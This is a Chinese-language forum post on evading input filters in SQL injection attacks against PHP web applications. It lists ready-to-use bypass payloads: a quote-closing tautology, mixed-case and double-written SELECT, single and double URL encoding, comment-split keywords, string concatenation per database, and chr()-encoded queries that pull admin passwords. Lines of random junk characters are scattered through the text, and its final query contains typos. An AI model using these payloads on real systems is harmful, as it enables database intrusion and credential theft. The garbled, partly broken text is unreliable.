PHP中SQL注入，绕开过滤，照样注入

admin

SQL注入。有攻有防。知道进攻。才懂得防守.
5 S) W# g- v3 @* G! Q/ Q
有的时候，很容易受到SQL注入攻击的程序，可能会进行输入过滤，用来防止攻击者无限制的利用其中存在的设计缺陷。
- l$ H. q6 N1 k" t0 r3 t' K9 F
唱出会删除或者净化一些字符，或者阻止常用的sql关键词。

  C" x" k/ d9 G, C我们通常有以下几种技巧，去避开这些过滤。

$ H! [8 R* ~! Y4 k" W& W' S, i1，避免使用被阻止的字符，即不使用这些字符仍然达到攻击目的。
% B$ j/ O' W& \% {8 R( A$ a
) e% P* a3 h. OA，如果注入一个数字数据字段，就不需要使用单引号。

B，输入注释符号被阻止使用，我们可以设计注入的数据，既不破坏周围的查询语法。

比如， ?id=1′ 这里存在注入，过滤了注释符合，我们可以输入 ?id=1′ or ‘a’=’a
2 M8 y0 t* W* m1 U0 X3 }
) W% s3 i6 k- h: e! O2 i) h目的其实很简单，就是把后面的单引号给闭合掉。
: ~/ p: y3 @9 e/ N* r0 `, N
' L0 o1 ]; x3 j( qC，在一个MSSQL注入中注入批量查询的时候，不必使用分号分隔符。

* R# v9 e* u; e* _只要纠正所有批量查询的语法，无论你是否使用分号，查询的解析器依然能正确的去解释它们的。
* c6 |: T$ ]5 P+ c; ?) z) k  [; d
9 e0 m" |; n: e+ P& |: t2，避免使用简单确认

/ n6 P, g( I' X8 {# N) ~一些输入确认机制使用一个简单的黑名单，组织或删除任何出现在这个名单中的数据，比如防注入程序。

这一般要看这个机制是否做的足够的好了，黑名单是否足够能确保安全。如果只是简单的黑名单，那也有机会突破的。

A，如果select关键词被阻止或删除

! d( o2 f4 E3 P! ^我们可以输入：
- W3 e0 R" `7 d
SeLeCt       注意大小写

selselectect    还记得ewebeditor是怎么过滤asp的么？

, t: v8 q% a: s+ N; S7 g! U3 T%53%45%4c%45%43%54                        URL编码

%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25

4 {7 e" Z' T. n3，使用SQL注释符
+ x3 W# X0 k7 a! t; N; `
A,使用注释来冒充注入的数据中的空格。
9 g) c5 u2 i) h4 h' [
& }' w" y" m8 l+ y, C- }* Hselect/*yesu*/username,password/*yesu*/from/*yesu*/admin

/*yesu*/来冒充空格

6 ]  p& b+ b1 `& q& T' o6 d7 RB,使用注释来避开某些注入的确认过滤。

, e' i4 [4 i) d- j+ w' cSEL/*yesu*/ECT username,password fr/*yesu*/om admin

4,处理被阻止的字符串
: O( g% J, {' L% T: B
1 z- r  [6 \3 n+ }) E2 {比如，程序阻止了admin，因为怕攻击者注入admin表单中的数据。

1 m( H9 v1 i& S: T! o$ |) `# `8 t# _我们可以这样
( D3 [' F7 T% k" `* X' v
A，oracle数据库： ‘adm’||’in’
4 F# s( @, U+ a( \. }: F
B,MSSQL数据库： ‘adm’+’in’
; ^) M  Z7 t8 v! w8 J) ^. ^0 x+ v9 O
7 B" j2 J1 z3 ~$ f3 xC,MYSQL数据库： concat (‘adm’,’in’)

+ _0 h; V& p/ r3 H- \D,oracle中如果单引号被阻止了，还可以用chr函数

1 j( }5 k8 F8 x! Msleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
$ S( I( U2 a, v  o/ e/ Y4 A
还有其他方法。正在收集中.
, n+ l' E0 d9 K) g  j2 u- h8 w